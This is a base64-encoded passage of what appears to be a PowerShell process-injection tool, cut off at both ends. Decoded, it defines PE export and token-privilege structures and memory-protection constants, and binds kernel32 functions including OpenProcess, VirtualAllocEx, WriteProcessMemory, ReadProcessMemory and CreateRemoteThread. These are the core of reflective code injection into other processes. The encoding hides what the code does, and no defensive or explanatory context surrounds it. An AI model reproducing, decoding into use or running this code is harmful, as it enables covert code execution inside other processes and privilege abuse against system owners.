KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZkZ1bmN0aW9u cycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG aWVsZCgnTnVtYmVyT2ZOYW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRU eXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQWRkcmVzc09mRnVuY3Rpb25zJywgW1VJbnQzMl0sICdQ dWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZO YW1lcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZp bmVGaWVsZCgnQWRkcmVzc09mTmFtZU9yZGluYWxzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91 dC1OdWxsCgkJJElNQUdFX0VYUE9SVF9ESVJFQ1RPUlkgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt TmFtZSBJTUFHRV9FWFBPUlRfRElSRUNUT1JZIC1WYWx1ZSAkSU1BR0VfRVhQT1JUX0RJUkVDVE9S WQoJCQoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJs aWMsIFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVp bGRlciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0xVSUQnLCAkQXR0cmlidXRlcywgW1N5 c3RlbS5WYWx1ZVR5cGVdLCA4KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTG93UGFydCcs IFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVs ZCgnSGlnaFBhcnQnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkTFVJRCA9ICRU eXBlQnVpbGRlci5DcmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJl clR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIExVSUQgLVZhbHVlICRMVUlECgkJCgoJCSRBdHRyaWJ1 dGVzID0gJ0F1dG9MYXlvdXQsIEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExh eW91dCwgU2VhbGVkLCBCZWZvcmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1 aWxkZXIuRGVmaW5lVHlwZSgnTFVJRF9BTkRfQVRUUklCVVRFUycsICRBdHRyaWJ1dGVzLCBbU3lz dGVtLlZhbHVlVHlwZV0sIDEyKQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnTHVpZCcsICRM VUlELCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnQXR0 cmlidXRlcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRMVUlEX0FORF9BVFRS SUJVVEVTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTFVJRF9BTkRfQVRUUklCVVRFUyAt VmFsdWUgJExVSURfQU5EX0FUVFJJQlVURVMKCQkKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91 dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJl Zm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBl KCdUT0tFTl9QUklWSUxFR0VTJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMTYp CgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdQcml2aWxlZ2VDb3VudCcsIFtVSW50MzJdLCAn UHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUHJpdmlsZWdl cycsICRMVUlEX0FORF9BVFRSSUJVVEVTLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUT0tFTl9Q UklWSUxFR0VTID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRk LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgVE9LRU5fUFJJVklMRUdFUyAt VmFsdWUgJFRPS0VOX1BSSVZJTEVHRVMKCgkJcmV0dXJuICRXaW4zMlR5cGVzCgl9CgoJRnVuY3Rp b24gR2V0LVdpbjMyQ29uc3RhbnRzCgl7CgkJJFdpbjMyQ29uc3RhbnRzID0gTmV3LU9iamVjdCBT eXN0ZW0uT2JqZWN0CgkJCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw ZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX0NPTU1JVCAtVmFsdWUgMHgwMDAwMTAwMAoJCSRXaW4z MkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1F TV9SRVNFUlZFIC1WYWx1ZSAweDAwMDAyMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9OT0FDQ0VTUyAtVmFsdWUgMHgw MQoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5 IC1OYW1lIFBBR0VfUkVBRE9OTFkgLVZhbHVlIDB4MDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQt TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdFX1JFQURXUklURSAtVmFs dWUgMHgwNAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy b3BlcnR5IC1OYW1lIFBBR0VfV1JJVEVDT1BZIC1WYWx1ZSAweDA4CgkJJFdpbjMyQ29uc3RhbnRz IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRF IC1WYWx1ZSAweDEwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO b3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1JFQUQgLVZhbHVlIDB4MjAKCQkkV2luMzJD b25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQQUdF X0VYRUNVVEVfUkVBRFdSSVRFIC1WYWx1ZSAweDQwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1l bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEFHRV9FWEVDVVRFX1dSSVRFQ09Q WSAtVmFsdWUgMHg4MAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUg Tm90ZVByb3BlcnR5IC1OYW1lIFBBR0VfTk9DQUNIRSAtVmFsdWUgMHgyMDAKCQkkV2luMzJDb25z dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9S RUxfQkFTRURfQUJTT0xVVEUgLVZhbHVlIDAKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVy IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9SRUxfQkFTRURfSElHSExPVyAt VmFsdWUgMwoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy b3BlcnR5IC1OYW1lIElNQUdFX1JFTF9CQVNFRF9ESVI2NCAtVmFsdWUgMTAKCQkkV2luMzJDb25z dGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9T Q05fTUVNX0RJU0NBUkRBQkxFIC1WYWx1ZSAweDAyMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9F WEVDVVRFIC1WYWx1ZSAweDIwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAt TWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9SRUFEIC1WYWx1ZSAw eDQwMDAwMDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3Rl UHJvcGVydHkgLU5hbWUgSU1BR0VfU0NOX01FTV9XUklURSAtVmFsdWUgMHg4MDAwMDAwMAoJCSRX aW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1l IElNQUdFX1NDTl9NRU1fTk9UX0NBQ0hFRCAtVmFsdWUgMHgwNDAwMDAwMAoJCSRXaW4zMkNvbnN0 YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIE1FTV9ERUNP TU1JVCAtVmFsdWUgMHg0MDAwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJlciAtTWVtYmVy VHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRklMRV9FWEVDVVRBQkxFX0lNQUdFIC1WYWx1 ZSAweDAwMDIKCQkkV2luMzJDb25zdGFudHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQ cm9wZXJ0eSAtTmFtZSBJTUFHRV9GSUxFX0RMTCAtVmFsdWUgMHgyMDAwCgkJJFdpbjMyQ29uc3Rh bnRzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfRExM Q0hBUkFDVEVSSVNUSUNTX0RZTkFNSUNfQkFTRSAtVmFsdWUgMHg0MAoJCSRXaW4zMkNvbnN0YW50 cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX0RMTENI QVJBQ1RFUklTVElDU19OWF9DT01QQVQgLVZhbHVlIDB4MTAwCgkJJFdpbjMyQ29uc3RhbnRzIHwg QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTUVNX1JFTEVBU0UgLVZh bHVlIDB4ODAwMAoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90 ZVByb3BlcnR5IC1OYW1lIFRPS0VOX1FVRVJZIC1WYWx1ZSAweDAwMDgKCQkkV2luMzJDb25zdGFu dHMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBUT0tFTl9BREpV U1RfUFJJVklMRUdFUyAtVmFsdWUgMHgwMDIwCgkJJFdpbjMyQ29uc3RhbnRzIHwgQWRkLU1lbWJl ciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgU0VfUFJJVklMRUdFX0VOQUJMRUQgLVZh bHVlIDB4MgoJCSRXaW4zMkNvbnN0YW50cyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy b3BlcnR5IC1OYW1lIEVSUk9SX05PX1RPS0VOIC1WYWx1ZSAweDNmMAoJCQoJCXJldHVybiAkV2lu MzJDb25zdGFudHMKCX0KCglGdW5jdGlvbiBHZXQtV2luMzJGdW5jdGlvbnMKCXsKCQkkV2luMzJG dW5jdGlvbnMgPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCQkkVmlydHVhbEFsbG9jQWRk ciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgVmlydHVhbEFsbG9jCgkJJFZpcnR1YWxB bGxvY0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV SW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2MgPSBbU3lzdGVtLlJ1 bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9p bnRlcigkVmlydHVhbEFsbG9jQWRkciwgJFZpcnR1YWxBbGxvY0RlbGVnYXRlKQoJCSRXaW4zMkZ1 bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvYyAtVmFs dWUgJFZpcnR1YWxBbGxvYwoJCQoJCSRWaXJ0dWFsQWxsb2NFeEFkZHIgPSBHZXQtUHJvY0FkZHJl c3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvY0V4CgkJJFZpcnR1YWxBbGxvY0V4RGVsZWdhdGUg PSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludFB0cl0sIFtVSW50 MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQoJCSRWaXJ0dWFsQWxsb2NFeCA9IFtTeXN0ZW0uUnVu dGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2lu dGVyKCRWaXJ0dWFsQWxsb2NFeEFkZHIsICRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlKQoJCSRXaW4z MkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxBbGxvY0V4 IC1WYWx1ZSAkVmlydHVhbEFsbG9jRXgKCQkKCQkkbWVtY3B5QWRkciA9IEdldC1Qcm9jQWRkcmVz cyBtc3ZjcnQuZGxsIG1lbWNweQoJCSRtZW1jcHlEZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUg QChbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1jcHkgPSBb U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1 bmN0aW9uUG9pbnRlcigkbWVtY3B5QWRkciwgJG1lbWNweURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0 aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbWNweSAt VmFsdWUgJG1lbWNweQoJCQoJCSRtZW1zZXRBZGRyID0gR2V0LVByb2NBZGRyZXNzIG1zdmNydC5k bGwgbWVtc2V0CgkJJG1lbXNldERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJd LCBbSW50MzJdLCBbSW50UHRyXSkgKFtJbnRQdHJdKQoJCSRtZW1zZXQgPSBbU3lzdGVtLlJ1bnRp bWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRl cigkbWVtc2V0QWRkciwgJG1lbXNldERlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N ZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIG1lbXNldCAtVmFsdWUgJG1lbXNl dAoJCQoJCSRMb2FkTGlicmFyeUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIExv YWRMaWJyYXJ5QQoJCSRMb2FkTGlicmFyeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtT dHJpbmddKSAoW0ludFB0cl0pCgkJJExvYWRMaWJyYXJ5ID0gW1N5c3RlbS5SdW50aW1lLkludGVy b3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJExvYWRM aWJyYXJ5QWRkciwgJExvYWRMaWJyYXJ5RGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRk LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgTG9hZExpYnJhcnkgLVZhbHVl ICRMb2FkTGlicmFyeQoJCQoJCSRHZXRQcm9jQWRkcmVzc0FkZHIgPSBHZXQtUHJvY0FkZHJlc3Mg a2VybmVsMzIuZGxsIEdldFByb2NBZGRyZXNzCgkJJEdldFByb2NBZGRyZXNzRGVsZWdhdGUgPSBH ZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtTdHJpbmddKSAoW0ludFB0cl0pCgkJJEdldFBy b2NBZGRyZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0 RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzQWRkciwgJEdldFByb2NB ZGRyZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlw ZSBOb3RlUHJvcGVydHkgLU5hbWUgR2V0UHJvY0FkZHJlc3MgLVZhbHVlICRHZXRQcm9jQWRkcmVz cwoJCQoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxBZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5l bDMyLmRsbCBHZXRQcm9jQWRkcmVzcwoJCSRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSA9 IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRyXSwgW0ludFB0cl0pIChbSW50UHRyXSkKCQkkR2V0 UHJvY0FkZHJlc3NPcmRpbmFsID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJz aGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJEdldFByb2NBZGRyZXNzT3JkaW5h bEFkZHIsICRHZXRQcm9jQWRkcmVzc09yZGluYWxEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMg fCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRQcm9jQWRkcmVz c09yZGluYWwgLVZhbHVlICRHZXRQcm9jQWRkcmVzc09yZGluYWwKCQkKCQkkVmlydHVhbEZyZWVB ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBWaXJ0dWFsRnJlZQoJCSRWaXJ0dWFs RnJlZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbVUludFB0cl0sIFtV SW50MzJdKSAoW0Jvb2xdKQoJCSRWaXJ0dWFsRnJlZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w U2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFs RnJlZUFkZHIsICRWaXJ0dWFsRnJlZURlbGVnYXRlKQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1N ZW1iZXIgTm90ZVByb3BlcnR5IC1OYW1lIFZpcnR1YWxGcmVlIC1WYWx1ZSAkVmlydHVhbEZyZWUK CQkKCQkkVmlydHVhbEZyZWVFeEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZp cnR1YWxGcmVlRXgKCQkkVmlydHVhbEZyZWVFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBA KFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnRQdHJdLCBbVUludDMyXSkgKFtCb29sXSkKCQkkVmly dHVhbEZyZWVFeCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06Okdl dERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRWaXJ0dWFsRnJlZUV4QWRkciwgJFZpcnR1YWxG cmVlRXhEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0 eSAtTmFtZSBWaXJ0dWFsRnJlZUV4IC1WYWx1ZSAkVmlydHVhbEZyZWVFeAoJCQoJCSRWaXJ0dWFs UHJvdGVjdEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxQcm90ZWN0 CgkJJFZpcnR1YWxQcm90ZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0s IFtVSW50UHRyXSwgW1VJbnQzMl0sIFtVSW50MzJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkK CQkkVmlydHVhbFByb3RlY3QgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNo YWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbFByb3RlY3RBZGRyLCAk VmlydHVhbFByb3RlY3REZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5v dGVQcm9wZXJ0eSAtTmFtZSBWaXJ0dWFsUHJvdGVjdCAtVmFsdWUgJFZpcnR1YWxQcm90ZWN0CgkJ CgkJJEdldE1vZHVsZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIEdl dE1vZHVsZUhhbmRsZUEKCQkkR2V0TW9kdWxlSGFuZGxlRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVU eXBlIEAoW1N0cmluZ10pIChbSW50UHRyXSkKCQkkR2V0TW9kdWxlSGFuZGxlID0gW1N5c3RlbS5S dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBv aW50ZXIoJEdldE1vZHVsZUhhbmRsZUFkZHIsICRHZXRNb2R1bGVIYW5kbGVEZWxlZ2F0ZSkKCQkk V2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIE5vdGVQcm9wZXJ0eSAtTmFtZSBHZXRNb2R1bGVI YW5kbGUgLVZhbHVlICRHZXRNb2R1bGVIYW5kbGUKCQkKCQkkRnJlZUxpYnJhcnlBZGRyID0gR2V0 LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBGcmVlTGlicmFyeQoJCSRGcmVlTGlicmFyeURlbGVn YXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKSAoW0Jvb2xdKQoJCSRGcmVlTGlicmFy eSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRl Rm9yRnVuY3Rpb25Qb2ludGVyKCRGcmVlTGlicmFyeUFkZHIsICRGcmVlTGlicmFyeURlbGVnYXRl KQoJCSRXaW4zMkZ1bmN0aW9ucyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5 IC1OYW1lIEZyZWVMaWJyYXJ5IC1WYWx1ZSAkRnJlZUxpYnJhcnkKCQkKCQkkT3BlblByb2Nlc3NB ZGRyID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBPcGVuUHJvY2VzcwoJICAgICRPcGVu UHJvY2Vzc0RlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtVSW50MzJdLCBbQm9vbF0sIFtV SW50MzJdKSAoW0ludFB0cl0pCgkgICAgJE9wZW5Qcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLklu dGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJE9w ZW5Qcm9jZXNzQWRkciwgJE9wZW5Qcm9jZXNzRGVsZWdhdGUpCgkJJFdpbjMyRnVuY3Rpb25zIHwg QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgT3BlblByb2Nlc3MgLVZh bHVlICRPcGVuUHJvY2VzcwoJCQoJCSRXYWl0Rm9yU2luZ2xlT2JqZWN0QWRkciA9IEdldC1Qcm9j QWRkcmVzcyBrZXJuZWwzMi5kbGwgV2FpdEZvclNpbmdsZU9iamVjdAoJICAgICRXYWl0Rm9yU2lu Z2xlT2JqZWN0RGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtVSW50MzJd KSAoW1VJbnQzMl0pCgkgICAgJFdhaXRGb3JTaW5nbGVPYmplY3QgPSBbU3lzdGVtLlJ1bnRpbWUu SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigk V2FpdEZvclNpbmdsZU9iamVjdEFkZHIsICRXYWl0Rm9yU2luZ2xlT2JqZWN0RGVsZWdhdGUpCgkJ JFdpbjMyRnVuY3Rpb25zIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h bWUgV2FpdEZvclNpbmdsZU9iamVjdCAtVmFsdWUgJFdhaXRGb3JTaW5nbGVPYmplY3QKCQkKCQkk V3JpdGVQcm9jZXNzTWVtb3J5QWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV3Jp dGVQcm9jZXNzTWVtb3J5CiAgICAgICAgJFdyaXRlUHJvY2Vzc01lbW9yeURlbGVnYXRlID0gR2V0 LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0ludFB0cl0sIFtVSW50UHRyXSwg W1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAgICAgICAkV3JpdGVQcm9jZXNz TWVtb3J5ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVs ZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJFdyaXRlUHJvY2Vzc01lbW9yeUFkZHIsICRXcml0ZVBy b2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBBZGQtTWVtYmVyIC1NZW1i ZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBXcml0ZVByb2Nlc3NNZW1vcnkgLVZhbHVlICRXcml0 ZVByb2Nlc3NNZW1vcnkKCQkKCQkkUmVhZFByb2Nlc3NNZW1vcnlBZGRyID0gR2V0LVByb2NBZGRy ZXNzIGtlcm5lbDMyLmRsbCBSZWFkUHJvY2Vzc01lbW9yeQogICAgICAgICRSZWFkUHJvY2Vzc01l bW9yeURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0lu dFB0cl0sIFtVSW50UHRyXSwgW1VJbnRQdHJdLk1ha2VCeVJlZlR5cGUoKSkgKFtCb29sXSkKICAg ICAgICAkUmVhZFByb2Nlc3NNZW1vcnkgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2Vz Lk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkUmVhZFByb2Nlc3NNZW1v cnlBZGRyLCAkUmVhZFByb2Nlc3NNZW1vcnlEZWxlZ2F0ZSkKCQkkV2luMzJGdW5jdGlvbnMgfCBB ZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBSZWFkUHJvY2Vzc01lbW9y eSAtVmFsdWUgJFJlYWRQcm9jZXNzTWVtb3J5CgkJCgkJJENyZWF0ZVJlbW90ZVRocmVhZEFkZHIg PSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENyZWF0ZVJlbW90ZVRocmVhZAogICAgICAg ICRDcmVhdGVSZW1vdGVUaHJlYWREZWxlZ2F0ZSA9IEdldC1EZWxlZ2F0ZVR5cGUgQChbSW50UHRy XSwgW0ludFB0cl0sIFtVSW50UHRyXSwgW0ludFB0cl0sIFtJbnRQdHJdLCBbVUludDMyXSwgW0lu dFB0cl0pIChbSW50UHRyXSkKICAgICAgICAkQ3JlYXRlUmVtb3RlVGhyZWFkID0gW1N5c3RlbS5S 